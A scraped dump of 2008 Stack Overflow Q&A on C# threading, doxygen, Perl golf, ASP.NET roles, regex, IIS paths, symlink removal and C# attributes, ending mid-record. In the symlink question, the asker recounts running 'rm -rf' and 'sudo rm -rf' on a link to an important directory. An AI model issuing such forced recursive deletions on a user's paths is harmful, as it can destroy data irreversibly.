"text": "<p>As well as the WaitHandle classes pointed out by Kent, simple <a href=\"http://msdn.microsoft.com/en-us/library/system.threading.monitor.wait.aspx\" rel=\"nofollow noreferrer\">Monitor.Wait</a> and Monitor.<a href=\"http://msdn.microsoft.com/en-us/library/system.threading.monitor.pulse.aspx\" rel=\"nofollow noreferrer\">Pulse</a>/<a href=\"http://msdn.microsoft.com/en-us/library/system.threading.monitor.pulseall.aspx\" rel=\"nofollow noreferrer\">PulseAll</a> can do this easily. They're \"lighter\" than event handles, although somewhat more primitive. (You can't wait on multiple monitors, etc.)</p>\n\n<p>I have an example of this (as a producer consumer queue) in my <a href=\"http://www.yoda.arachsys.com/csharp/threads/deadlocks.shtml\" rel=\"nofollow noreferrer\">threading article</a>.</p>\n"
},
{
"answer_id": 220018,
"author": "jezell",
"author_id": 27453,
"author_profile": "https://Stackoverflow.com/users/27453",
"pm_score": 0,
"selected": false,
"text": "<p>Use ManualResetEvent for cases where you want all worker threads to proceed when a state is met (looks like what you are wanting here). Use AutoResetEvent in cases where you only want to signal a single worker each time some work becomes available. Use Semaphore when you want to allow a specific number of threads to proceed. Almost never use a global variable for this type of thing, and if you do, mark it as volatile.</p>\n\n<p>Be careful in this situation. You don't want to cause \"lock convoys\" to occur because you release all the workers to hit the queue all at once every time a single item gets released only to have to wait again.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210020",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4555/"
] |
I have multiple threads (C# application running on IIS) running that all need to communicate with the same MQ backend. To minimize network traffic, I need to only send a backend request when there is work to be done. There will be one thread to monitor if there is work to be done, and it needs to notify the other threads that they should also begin processing. The current solution involves the monitor thread setting a global variable and having the other threads loop and check that, ie in the monitor thread:
```
CheckIfWorkAvailable() {
while(true) {
if (queue.Empty != true) {
workToBeDone = true;
}
}//end while loop
}
```
and then in the worker threads:
```
DoWork() {
while(true) {
if (workToBeDone == true) {
//do work...
}
else {
Thread.Sleep(x seconds)
}
}//end while loop
}
```
Can the monitor thread notify the worker threads when there is work to do instead of having them just loop and sleep? The worker threads also set a counter indicating they are working and the decrement it when their work is done so the workToBeDone flag can be set to false.
|
Check out [WaitHandle](http://msdn.microsoft.com/en-us/library/system.threading.waithandle.aspx) and its descending classes. [EventWaitHandle](http://msdn.microsoft.com/en-us/library/system.threading.eventwaithandle.aspx) may suit your needs.
|
210,026 |
<p>I have some C++ source code with templates maybe like this - doxygen runs without errors but none of the documentation is added to the output, what is going on?</p>
<pre><code>///
/// A class
///
class A
{
///
/// A typedef
///
typedef B<C<D>> SomeTypedefOfTemplates;
};
</code></pre>
|
[
{
"answer_id": 210043,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 3,
"selected": true,
"text": "<p>Yeah, so what is going on is the template instantiation is bogus. The \">>\" like that is ambiguous and is meant to be a compile time error. You couldn't see it because maybe your compiler (VC++) let it slip by but I guess doxygen was stricter on that. Add a space like shown.</p>\n\n<pre><code>///\n/// A class\n///\nclass A\n{\n ///\n /// A typedef\n ///\n typedef B<C<D> > SomeTypedefOfTemplates;\n};\n</code></pre>\n"
},
{
"answer_id": 1343560,
"author": "Dimitri van Heesch",
"author_id": 159245,
"author_profile": "https://Stackoverflow.com/users/159245",
"pm_score": 3,
"selected": false,
"text": "<p>Note that doxygen now supports closing a template with the right shift operator (since version 1.6.0).</p>\n\n<p>Also see <a href=\"http://bugzilla.gnome.org/show_bug.cgi?id=560512\" rel=\"noreferrer\">http://bugzilla.gnome.org/show_bug.cgi?id=560512</a> for a discussion on the problem and the solution implemented.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210026",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3146/"
] |
I have some C++ source code with templates maybe like this - doxygen runs without errors but none of the documentation is added to the output, what is going on?
```
///
/// A class
///
class A
{
///
/// A typedef
///
typedef B<C<D>> SomeTypedefOfTemplates;
};
```
|
Yeah, so what is going on is the template instantiation is bogus. The ">>" like that is ambiguous and is meant to be a compile time error. You couldn't see it because maybe your compiler (VC++) let it slip by but I guess doxygen was stricter on that. Add a space like shown.
```
///
/// A class
///
class A
{
///
/// A typedef
///
typedef B<C<D> > SomeTypedefOfTemplates;
};
```
|
210,068 |
<p>What's the shortest Perl one-liner that print out the first 9 powers of a hard-coded 2 digit decimal (say, for example, .37), each on its own line? </p>
<p>The output would look something like:</p>
<pre><code>1
0.37
0.1369
[etc.]
</code></pre>
<p>Official Perl golf rules:</p>
<ol>
<li>Smallest number of (key)strokes wins</li>
<li>Your stroke count includes the command line</li>
</ol>
|
[
{
"answer_id": 210107,
"author": "willasaywhat",
"author_id": 12234,
"author_profile": "https://Stackoverflow.com/users/12234",
"pm_score": 0,
"selected": false,
"text": "<pre><code>perl -e \"for(my $i = 1; $i < 10; $i++){ print((.37**$i). \\\"\\n\\\"); }\"\n</code></pre>\n\n<p>Just a quick entry. :)</p>\n\n<p>Fixed to line break!</p>\n"
},
{
"answer_id": 210132,
"author": "toolkit",
"author_id": 3295,
"author_profile": "https://Stackoverflow.com/users/3295",
"pm_score": 1,
"selected": false,
"text": "<pre><code>print join(\"\\n\", map { 0.37**$_ } (0..9));\n</code></pre>\n"
},
{
"answer_id": 210140,
"author": "moritz",
"author_id": 14132,
"author_profile": "https://Stackoverflow.com/users/14132",
"pm_score": 5,
"selected": true,
"text": "<p>With perl 5.10.0 and above:</p>\n\n<pre><code>perl -E'say 0.37**$_ for 0..8'\n</code></pre>\n\n<p>With older perls you don't have <code>say</code> and -E, but this works:</p>\n\n<pre><code>perl -le'print 0.37**$_ for 0..8'\n</code></pre>\n\n<p>Update: the first solution is made of 30 key strokes. Removing the first 0 gives 29. Another space can be saved, so my final solution is this with 28 strokes:</p>\n\n<pre><code>perl -E'say.37**$_ for 0..8'\n</code></pre>\n"
},
{
"answer_id": 210150,
"author": "kixx",
"author_id": 11260,
"author_profile": "https://Stackoverflow.com/users/11260",
"pm_score": 2,
"selected": false,
"text": "<pre><code>perl -e 'print .37**$_,\"\\n\" for 0..9'\n</code></pre>\n\n<p>If you add -l to options you can skip the ,\"\\n\" part</p>\n"
},
{
"answer_id": 210325,
"author": "C. K. Young",
"author_id": 13,
"author_profile": "https://Stackoverflow.com/users/13",
"pm_score": 1,
"selected": false,
"text": "<pre><code>print.37**$_.$/for 0..8\n</code></pre>\n\n<p>23 strokes if you chop the program before submitting. :-P</p>\n"
},
{
"answer_id": 210471,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 3,
"selected": false,
"text": "<pre><code>perl -le'map{print.37**$_}0..8'\n</code></pre>\n\n<p>31 characters - I don't have 5.10 to try out the obvious improvement using \"say\" but this is 28:</p>\n\n<pre><code>perl -E'map{say.37**$_}0..8'\n</code></pre>\n"
},
{
"answer_id": 211217,
"author": "ysth",
"author_id": 17389,
"author_profile": "https://Stackoverflow.com/users/17389",
"pm_score": 2,
"selected": false,
"text": "<pre><code>seq 9|perl -nE'say.37**$_'\n</code></pre>\n\n<p>26 - Yes, that's cheating. (And yes, I'm doing powers from 1 to 9. 0 to 8 is just silly.)</p>\n"
},
{
"answer_id": 215331,
"author": "Aristotle Pagaltzis",
"author_id": 9410,
"author_profile": "https://Stackoverflow.com/users/9410",
"pm_score": 2,
"selected": false,
"text": "<p>Just for fun in Perl 6:</p>\n\n<ol>\n<li><p>28 characters:</p>\n\n<pre><code>perl6 -e'.say for .37»**»^9'\n</code></pre></li>\n<li><p>27 characters:</p>\n\n<pre><code>perl6 -e'say .37**$_ for^9'\n</code></pre></li>\n</ol>\n\n<p>(At least based on current whitespace rules.)</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210068",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2683/"
] |
What's the shortest Perl one-liner that print out the first 9 powers of a hard-coded 2 digit decimal (say, for example, .37), each on its own line?
The output would look something like:
```
1
0.37
0.1369
[etc.]
```
Official Perl golf rules:
1. Smallest number of (key)strokes wins
2. Your stroke count includes the command line
|
With perl 5.10.0 and above:
```
perl -E'say 0.37**$_ for 0..8'
```
With older perls you don't have `say` and -E, but this works:
```
perl -le'print 0.37**$_ for 0..8'
```
Update: the first solution is made of 30 key strokes. Removing the first 0 gives 29. Another space can be saved, so my final solution is this with 28 strokes:
```
perl -E'say.37**$_ for 0..8'
```
|
210,069 |
<p>In ASP.NET what's the best way to do the following:</p>
<ol>
<li>Show certain controls based on your rights?</li>
<li>For a gridview control, how do you show certain columns based on your role?</li>
</ol>
<p>I'm thinking for number 2, have the data come from a role specific view on the database.</p>
|
[
{
"answer_id": 210117,
"author": "Elijah Manor",
"author_id": 4481,
"author_profile": "https://Stackoverflow.com/users/4481",
"pm_score": 4,
"selected": true,
"text": "<p>Instead of actually using roles to hide/show certain controls, I would suggest having another layer of permissions for each role and show/hide based on those instead.</p>\n\n<p>That way you can redefine what permissions a role has and won't have to change your code.</p>\n\n<p>Also, this allows you to make new roles in the future and just assign a set of permissions to the role.</p>\n\n<p>As for controls, yes... I would just set the Visible property on the control based on the user.IsInRole(\"permissionname\") value.</p>\n\n<p>For grids I would do the same... set the Visibility of the columns to the IsInRole boolean value.</p>\n\n<pre><code>//Delete Icon Column\ngridViewContacts.Columns[0].Visible = user.IsInRole(\"DeleteAnyContact\"); \n</code></pre>\n\n<p>I would make create your permissions in a very granular nature.. such as</p>\n\n<ul>\n<li>ViewAnyContact</li>\n<li>ViewOwnContact</li>\n<li>EditOwnContact</li>\n<li>EditAnyContact</li>\n<li>AddAnyContact</li>\n<li>DeleteOwnContact</li>\n<li>DeleteAnyContact</li>\n<li>Etc...</li>\n</ul>\n"
},
{
"answer_id": 210162,
"author": "John Rudy",
"author_id": 14048,
"author_profile": "https://Stackoverflow.com/users/14048",
"pm_score": 1,
"selected": false,
"text": "<p>If you're going the role-based route, ASP.NET (since version 2.0) has had a variety of membership controls available which might help in this scenario. Assuming (and this could well be a faulty assumption) that you're using the in-box membership provider, you can actually use the <code>LoginView</code> control to get #1 handled. </p>\n\n<p>The way it works is that the <code>LoginView</code> can use <code>RoleGroups</code> and their associated <code>ContentTemplates</code> to customize the view for the user based on role. This works seamlessly with the in-box membership provider; I believe if you build your own membership provider based on Microsoft's technology it will also work. (I haven't done this latter step.)</p>\n\n<p>Conceivably, you <strong>could</strong> use it for #2, but it'd wind up with duplicated code and effort, which isn't my personal preference. I think your choice of using role-specific SQL views to drive that table may be better than this option. (There are other options as well, of course, which may be better.)</p>\n\n<p>I will second Elijah Manor's recommendation of using permissions instead of roles. Generally, that's my preference as well. (And I was surprised to discover that the membership provider technology didn't go to that level.) In any permission-centric scenario, though, you will essentially have to roll everything yourself. (I've done this, and while it's very flexible, the code to secure any given page can get hairy.)</p>\n\n<p>EDIT: I apologize; I meant to include a link for the LoginView control. DotNetJunkies has a <a href=\"http://www.dotnetjunkies.com/QuickStartv20/aspnet/doc/ctrlref/login/loginview.aspx\" rel=\"nofollow noreferrer\">tutorial</a> on it.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210069",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/781/"
] |
In ASP.NET what's the best way to do the following:
1. Show certain controls based on your rights?
2. For a gridview control, how do you show certain columns based on your role?
I'm thinking for number 2, have the data come from a role specific view on the database.
|
Instead of actually using roles to hide/show certain controls, I would suggest having another layer of permissions for each role and show/hide based on those instead.
That way you can redefine what permissions a role has and won't have to change your code.
Also, this allows you to make new roles in the future and just assign a set of permissions to the role.
As for controls, yes... I would just set the Visible property on the control based on the user.IsInRole("permissionname") value.
For grids I would do the same... set the Visibility of the columns to the IsInRole boolean value.
```
//Delete Icon Column
gridViewContacts.Columns[0].Visible = user.IsInRole("DeleteAnyContact");
```
I would make create your permissions in a very granular nature.. such as
* ViewAnyContact
* ViewOwnContact
* EditOwnContact
* EditAnyContact
* AddAnyContact
* DeleteOwnContact
* DeleteAnyContact
* Etc...
|
210,080 |
<p>I'm sure this one is easy but I've tried a ton of variations and still cant match what I need. The thing is being too greedy and I cant get it to stop being greedy.</p>
<p>Given the text:</p>
<pre><code>test=this=that=more text follows
</code></pre>
<p>I want to just select:</p>
<pre><code>test=
</code></pre>
<p>I've tried the following regex</p>
<pre><code>(\S+)=(\S.*)
(\S+)?=
[^=]{1}
...
</code></pre>
<p>Thanks all.</p>
|
[
{
"answer_id": 210102,
"author": "Owen",
"author_id": 4853,
"author_profile": "https://Stackoverflow.com/users/4853",
"pm_score": 5,
"selected": true,
"text": "<p>here:</p>\n\n<pre><code>// matches \"test=, test\"\n(\\S+?)=\n\nor\n\n// matches \"test=, test\" too\n(\\S[^=]+)=\n</code></pre>\n\n<p>you should consider using the second version over the first. given your string <code>\"test=this=that=more text follows\"</code>, version 1 will match <code>test=this=that=</code> then continue parsing to the end of the string. it will then backtrack, and find <code>test=this=</code>, continue to backtrack, and find <code>test=</code>, continue to backtrack, and settle on <code>test=</code> as it's final answer.</p>\n\n<p>version 2 will match <code>test=</code> then stop. you can see the efficiency gains in larger searches like multi-line or whole document matches.</p>\n"
},
{
"answer_id": 210108,
"author": "chills42",
"author_id": 23855,
"author_profile": "https://Stackoverflow.com/users/23855",
"pm_score": 1,
"selected": false,
"text": "<p>You should be able to use this:</p>\n\n<pre><code>(\\S+?)=(\\S.*)\n</code></pre>\n"
},
{
"answer_id": 210114,
"author": "Keith Twombley",
"author_id": 23866,
"author_profile": "https://Stackoverflow.com/users/23866",
"pm_score": 2,
"selected": false,
"text": "<p>You probably want something like</p>\n\n<p>^(\\S+?=)</p>\n\n<p>The caret ^ anchors the regex to the beginning of the string. The ? after the + makes the + non-greedy.</p>\n"
},
{
"answer_id": 210182,
"author": "Glenn",
"author_id": 25191,
"author_profile": "https://Stackoverflow.com/users/25191",
"pm_score": 2,
"selected": false,
"text": "<p>You might be looking for <a href=\"http://blog.stevenlevithan.com/archives/greedy-lazy-performance\" rel=\"nofollow noreferrer\">lazy quantifiers</a> *?, +?, ??, and {n, n}?</p>\n"
},
{
"answer_id": 210484,
"author": "Andy Lester",
"author_id": 8454,
"author_profile": "https://Stackoverflow.com/users/8454",
"pm_score": 1,
"selected": false,
"text": "<p>Lazy quantifiers work, but they also can be a performance hit because of backtracking.</p>\n\n<p>Consider that what you really want is \"a bunch of non-equals, an equals, and a bunch more non-equals.\"</p>\n\n<pre><code>([^=]+)=([^=]+)\n</code></pre>\n\n<p>Your examples of <code>[^=]{1}</code> only matches a single non-equals character.</p>\n"
},
{
"answer_id": 738841,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>if you want only \"text=\", I think that a simply:</p>\n\n<pre><code>^(\\w+=)\n</code></pre>\n\n<p>should be fine if you are shure about that the string \"text=\" will always start the line.</p>\n\n<p>the real problem is when the string is like this:</p>\n\n<blockquote>\n <p>this=that= more test= text follows</p>\n</blockquote>\n\n<p>if you use the regex above the result is \"this=\" and if you modify the above with the reapeater qualifiers at the end, like this:</p>\n\n<pre><code>^(\\w+=)*\n</code></pre>\n\n<p>you find a tremendous \"this=that=\", so I could only imagine the trivial: </p>\n\n<pre><code>[th\\w+=]*test=\n</code></pre>\n\n<p>Bye.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210080",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14230/"
] |
I'm sure this one is easy but I've tried a ton of variations and still cant match what I need. The thing is being too greedy and I cant get it to stop being greedy.
Given the text:
```
test=this=that=more text follows
```
I want to just select:
```
test=
```
I've tried the following regex
```
(\S+)=(\S.*)
(\S+)?=
[^=]{1}
...
```
Thanks all.
|
here:
```
// matches "test=, test"
(\S+?)=
or
// matches "test=, test" too
(\S[^=]+)=
```
you should consider using the second version over the first. given your string `"test=this=that=more text follows"`, version 1 will match `test=this=that=` then continue parsing to the end of the string. it will then backtrack, and find `test=this=`, continue to backtrack, and find `test=`, continue to backtrack, and settle on `test=` as it's final answer.
version 2 will match `test=` then stop. you can see the efficiency gains in larger searches like multi-line or whole document matches.
|
210,088 |
<p>I have a website that is deployed between 3 different environments - Dev, Stage, and Prod. For Stage and Prod, the site can resolve local paths to images with just the base url to the file, such as /SiteImages/banner.png. However, on the Dev server I have to hard code the full URL of the image path for the image to be resolved, such as <a href="http://server/folder/SiteImages/banner.png" rel="nofollow noreferrer">http://server/folder/SiteImages/banner.png</a>. Is there a setting I can flip to make the Dev server behave in the same manner as the other 2? I am using IIS 6.0 on a Win 2003 server. </p>
|
[
{
"answer_id": 210102,
"author": "Owen",
"author_id": 4853,
"author_profile": "https://Stackoverflow.com/users/4853",
"pm_score": 5,
"selected": true,
"text": "<p>here:</p>\n\n<pre><code>// matches \"test=, test\"\n(\\S+?)=\n\nor\n\n// matches \"test=, test\" too\n(\\S[^=]+)=\n</code></pre>\n\n<p>you should consider using the second version over the first. given your string <code>\"test=this=that=more text follows\"</code>, version 1 will match <code>test=this=that=</code> then continue parsing to the end of the string. it will then backtrack, and find <code>test=this=</code>, continue to backtrack, and find <code>test=</code>, continue to backtrack, and settle on <code>test=</code> as it's final answer.</p>\n\n<p>version 2 will match <code>test=</code> then stop. you can see the efficiency gains in larger searches like multi-line or whole document matches.</p>\n"
},
{
"answer_id": 210108,
"author": "chills42",
"author_id": 23855,
"author_profile": "https://Stackoverflow.com/users/23855",
"pm_score": 1,
"selected": false,
"text": "<p>You should be able to use this:</p>\n\n<pre><code>(\\S+?)=(\\S.*)\n</code></pre>\n"
},
{
"answer_id": 210114,
"author": "Keith Twombley",
"author_id": 23866,
"author_profile": "https://Stackoverflow.com/users/23866",
"pm_score": 2,
"selected": false,
"text": "<p>You probably want something like</p>\n\n<p>^(\\S+?=)</p>\n\n<p>The caret ^ anchors the regex to the beginning of the string. The ? after the + makes the + non-greedy.</p>\n"
},
{
"answer_id": 210182,
"author": "Glenn",
"author_id": 25191,
"author_profile": "https://Stackoverflow.com/users/25191",
"pm_score": 2,
"selected": false,
"text": "<p>You might be looking for <a href=\"http://blog.stevenlevithan.com/archives/greedy-lazy-performance\" rel=\"nofollow noreferrer\">lazy quantifiers</a> *?, +?, ??, and {n, n}?</p>\n"
},
{
"answer_id": 210484,
"author": "Andy Lester",
"author_id": 8454,
"author_profile": "https://Stackoverflow.com/users/8454",
"pm_score": 1,
"selected": false,
"text": "<p>Lazy quantifiers work, but they also can be a performance hit because of backtracking.</p>\n\n<p>Consider that what you really want is \"a bunch of non-equals, an equals, and a bunch more non-equals.\"</p>\n\n<pre><code>([^=]+)=([^=]+)\n</code></pre>\n\n<p>Your examples of <code>[^=]{1}</code> only matches a single non-equals character.</p>\n"
},
{
"answer_id": 738841,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>if you want only \"text=\", I think that a simply:</p>\n\n<pre><code>^(\\w+=)\n</code></pre>\n\n<p>should be fine if you are shure about that the string \"text=\" will always start the line.</p>\n\n<p>the real problem is when the string is like this:</p>\n\n<blockquote>\n <p>this=that= more test= text follows</p>\n</blockquote>\n\n<p>if you use the regex above the result is \"this=\" and if you modify the above with the reapeater qualifiers at the end, like this:</p>\n\n<pre><code>^(\\w+=)*\n</code></pre>\n\n<p>you find a tremendous \"this=that=\", so I could only imagine the trivial: </p>\n\n<pre><code>[th\\w+=]*test=\n</code></pre>\n\n<p>Bye.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210088",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1284/"
] |
I have a website that is deployed between 3 different environments - Dev, Stage, and Prod. For Stage and Prod, the site can resolve local paths to images with just the base url to the file, such as /SiteImages/banner.png. However, on the Dev server I have to hard code the full URL of the image path for the image to be resolved, such as <http://server/folder/SiteImages/banner.png>. Is there a setting I can flip to make the Dev server behave in the same manner as the other 2? I am using IIS 6.0 on a Win 2003 server.
|
here:
```
// matches "test=, test"
(\S+?)=
or
// matches "test=, test" too
(\S[^=]+)=
```
you should consider using the second version over the first. given your string `"test=this=that=more text follows"`, version 1 will match `test=this=that=` then continue parsing to the end of the string. it will then backtrack, and find `test=this=`, continue to backtrack, and find `test=`, continue to backtrack, and settle on `test=` as it's final answer.
version 2 will match `test=` then stop. you can see the efficiency gains in larger searches like multi-line or whole document matches.
|
210,120 |
<p>I have a symlink to an important directory. I want to get rid of that symlink, while keeping the directory behind it. </p>
<p>I tried <code>rm</code> and get back <code>rm: cannot remove 'foo'</code>.<br>
I tried <code>rmdir</code> and got back <code>rmdir: failed to remove 'foo': Directory not empty</code><br>
I then progressed through <code>rm -f</code>, <code>rm -rf</code> and <code>sudo rm -rf</code></p>
<p>Then I went to find my back-ups.</p>
<p>Is there a way to get rid of the symlink with out throwing away the baby with the bathwater? </p>
|
[
{
"answer_id": 210125,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 3,
"selected": false,
"text": "<p>If rm cannot remove a symlink, perhaps you need to look at the permissions on the directory that contains the symlink. To remove directory entries, you need write permission on the containing directory.</p>\n"
},
{
"answer_id": 210130,
"author": "Joe Phillips",
"author_id": 20471,
"author_profile": "https://Stackoverflow.com/users/20471",
"pm_score": 10,
"selected": false,
"text": "<p>use the "unlink" command and make sure <strong>not</strong> to have the / at the end</p>\n<pre><code>$ unlink mySymLink\n</code></pre>\n<blockquote>\n<p>unlink() deletes a name from the file system. <strong>If that name was the last link to a file and no processes have the file open the file is deleted and the space it was using is made available for reuse.</strong>\nIf the name was the last link to a file but any processes still have the file open the file will remain in existence until the last file descriptor referring to it is closed.</p>\n</blockquote>\n<p>I think this may be problematic if I'm reading it correctly.</p>\n<blockquote>\n<p><strong>If the name referred to a symbolic link the link is removed.</strong></p>\n<p>If the name referred to a socket, fifo or device the name for it is removed but processes which have the object open may continue to use it.</p>\n</blockquote>\n<p><a href=\"https://linux.die.net/man/2/unlink\" rel=\"noreferrer\">https://linux.die.net/man/2/unlink</a></p>\n"
},
{
"answer_id": 210133,
"author": "Matthew Scharley",
"author_id": 15537,
"author_profile": "https://Stackoverflow.com/users/15537",
"pm_score": 11,
"selected": true,
"text": "<pre><code># this works:\nrm foo\n# versus this, which doesn't:\nrm foo/\n</code></pre>\n\n<p>Basically, you need to tell it to delete a <em>file</em>, not delete a <em>directory</em>. I believe the difference between <code>rm</code> and <code>rmdir</code> exists because of differences in the way the C library treats each.</p>\n\n<p>At any rate, the first should work, while the second should complain about foo being a directory.</p>\n\n<p>If it doesn't work as above, then check your permissions. You need write permission to the containing directory to remove files.</p>\n"
},
{
"answer_id": 210138,
"author": "TJ L",
"author_id": 12605,
"author_profile": "https://Stackoverflow.com/users/12605",
"pm_score": 3,
"selected": false,
"text": "<p>Assuming your setup is something like: <code>ln -s /mnt/bar ~/foo</code>, then you should be able to do a <code>rm foo</code> with no problem. If you can't, make sure you are the owner of the <code>foo</code> and have permission to write/execute the file. Removing <code>foo</code> will not touch <code>bar</code>, unless you do it recursively.</p>\n"
},
{
"answer_id": 210143,
"author": "Steve K",
"author_id": 739,
"author_profile": "https://Stackoverflow.com/users/739",
"pm_score": 4,
"selected": false,
"text": "<p>rm should remove the symbolic link.</p>\n\n<pre><code>skrall@skrall-desktop:~$ mkdir bar\nskrall@skrall-desktop:~$ ln -s bar foo\nskrall@skrall-desktop:~$ ls -l foo\nlrwxrwxrwx 1 skrall skrall 3 2008-10-16 16:22 foo -> bar\nskrall@skrall-desktop:~$ rm foo\nskrall@skrall-desktop:~$ ls -l foo\nls: cannot access foo: No such file or directory\nskrall@skrall-desktop:~$ ls -l bar\ntotal 0\nskrall@skrall-desktop:~$ \n</code></pre>\n"
},
{
"answer_id": 210524,
"author": "Joshua",
"author_id": 14768,
"author_profile": "https://Stackoverflow.com/users/14768",
"pm_score": 4,
"selected": false,
"text": "<p>Assuming it actually is a symlink,</p>\n\n<pre><code>$ rm -d symlink\n</code></pre>\n\n<p>It should figure it out, but since it can't we enable the latent code that was intended for another case that no longer exists but happens to do the right thing here.</p>\n"
},
{
"answer_id": 12063134,
"author": "DeeEss09",
"author_id": 1615349,
"author_profile": "https://Stackoverflow.com/users/1615349",
"pm_score": 4,
"selected": false,
"text": "<p>Use <code>rm symlinkname</code> but do not include a forward slash at the end (do not use: <code>rm symlinkname/</code>). You will then be asked if you want to remove the symlink, <code>y</code> to answer yes.</p>\n"
},
{
"answer_id": 25898704,
"author": "Yuri",
"author_id": 4051829,
"author_profile": "https://Stackoverflow.com/users/4051829",
"pm_score": 2,
"selected": false,
"text": "<p>On CentOS, just run <code>rm linkname</code> and it will ask to \"remove symbolic link?\". Type <kbd>Y</kbd> and <kbd>Enter</kbd>, the link will be gone and the directory be safe.</p>\n"
},
{
"answer_id": 48517149,
"author": "Keith Whittingham",
"author_id": 1206873,
"author_profile": "https://Stackoverflow.com/users/1206873",
"pm_score": 2,
"selected": false,
"text": "<p>I had this problem with MinGW (actually Git Bash) running on a Windows Server. None of the above suggestions seemed to work. In the end a made a copy of the directory in case then deleted the soft link in Windows Explorer then deleted the item in the Recycle Bin. It made noises like it was deleting the files but didn't. Do make a backup though!</p>\n"
},
{
"answer_id": 64289874,
"author": "R. Pandey",
"author_id": 11771503,
"author_profile": "https://Stackoverflow.com/users/11771503",
"pm_score": 1,
"selected": false,
"text": "<p>you can use <strong>unlink </strong> in the folder where you have created your symlink</p>\n"
},
{
"answer_id": 64668932,
"author": "rubel Mazumder",
"author_id": 9214369,
"author_profile": "https://Stackoverflow.com/users/9214369",
"pm_score": 3,
"selected": false,
"text": "<p>I also had the same problem. So I suggest to try <code>unlink <absolute path></code>.</p>\n<p>For example <code>unlink ~/<USER>/<SOME OTHER DIRECTORY>/foo</code>.</p>\n"
},
{
"answer_id": 74015472,
"author": "sharmin sultana",
"author_id": 20204999,
"author_profile": "https://Stackoverflow.com/users/20204999",
"pm_score": 0,
"selected": false,
"text": "<p>If <code>rm</code> cannot remove a link, perhaps you need to look at the permissions on the directory that contains the link. To remove directory entries, you need write permission on the containing directory.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210120",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8508/"
] |
I have a symlink to an important directory. I want to get rid of that symlink, while keeping the directory behind it.
I tried `rm` and get back `rm: cannot remove 'foo'`.
I tried `rmdir` and got back `rmdir: failed to remove 'foo': Directory not empty`
I then progressed through `rm -f`, `rm -rf` and `sudo rm -rf`
Then I went to find my back-ups.
Is there a way to get rid of the symlink with out throwing away the baby with the bathwater?
|
```
# this works:
rm foo
# versus this, which doesn't:
rm foo/
```
Basically, you need to tell it to delete a *file*, not delete a *directory*. I believe the difference between `rm` and `rmdir` exists because of differences in the way the C library treats each.
At any rate, the first should work, while the second should complain about foo being a directory.
If it doesn't work as above, then check your permissions. You need write permission to the containing directory to remove files.
|
210,145 |
<blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="https://stackoverflow.com/questions/144833/most-useful-attributes-in-c">Most Useful Attributes in C#</a> </p>
</blockquote>
<p>besides:</p>
<pre><code>[DefaultValue(100)]
[Description("Some descriptive field here")]
public int MyProperty{get; set;}
</code></pre>
<p>What other C# Attributes are useful for Properties, after learning these I feel like I'm Missing out.</p>
<p><strong>Related Questions</strong></p>
<p><a href="https://stackoverflow.com/questions/144833/most-useful-attributes-in-c#144929">Most Useful Attributes in C#</a></p>
|
[
{
"answer_id": 210154,
"author": "Greg D",
"author_id": 6932,
"author_profile": "https://Stackoverflow.com/users/6932",
"pm_score": 2,
"selected": false,
"text": "<pre><code>[Browsable]\n</code></pre>\n\n<p>is a favorite of mine. (<a href=\"http://msdn.microsoft.com/en-us/library/system.componentmodel.browsableattribute.aspx\" rel=\"nofollow noreferrer\">MSDN</a>)</p>\n"
},
{
"answer_id": 210157,
"author": "Christian C. Salvadó",
"author_id": 5445,
"author_profile": "https://Stackoverflow.com/users/5445",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"https://stackoverflow.com/questions/208703/c-property-attributes\">C# property attributes</a></p>\n"
},
{
"answer_id": 210160,
"author": "TheSmurf",
"author_id": 1975282,
"author_profile": "https://Stackoverflow.com/users/1975282",
"pm_score": 3,
"selected": false,
"text": "<pre><code>[Obsolete(\"This is an obsolete property\")]\n</code></pre>\n\n<p>That's one of my favourites. Allows you to mark a property/method obsolete, which will cause a compiler warning (optionally, a compiler error) on build.</p>\n"
},
{
"answer_id": 210184,
"author": "P a u l",
"author_id": 28343,
"author_profile": "https://Stackoverflow.com/users/28343",
"pm_score": 2,
"selected": false,
"text": "<p>I've wanted a comprehensive list of c# attributes for a long time, but have never found a list in MSDN docs or anywhere. I think this is one of the weaker parts for their documentation. </p>\n\n<p>I use [XmlIgnore] if I want to exclude a property from xml serialization.</p>\n"
},
{
"answer_id": 210300,
"author": "Matt H",
"author_id": 18049,
"author_profile": "https://Stackoverflow.com/users/18049",
"pm_score": 0,
"selected": false,
"text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/system.componentmodel.localizableattribute(VS.71).aspx\" rel=\"nofollow noreferrer\">Localizable </a>\nas well as\n<a href=\"http://msdn.microsoft.com/en-us/library/system.componentmodel.listbindableattribute(VS.71).aspx\" rel=\"nofollow noreferrer\">ListBindable</a>\nmay be interesting for custom component designers.</p>\n"
},
{
"answer_id": 210346,
"author": "Panos",
"author_id": 8049,
"author_profile": "https://Stackoverflow.com/users/8049",
"pm_score": 1,
"selected": false,
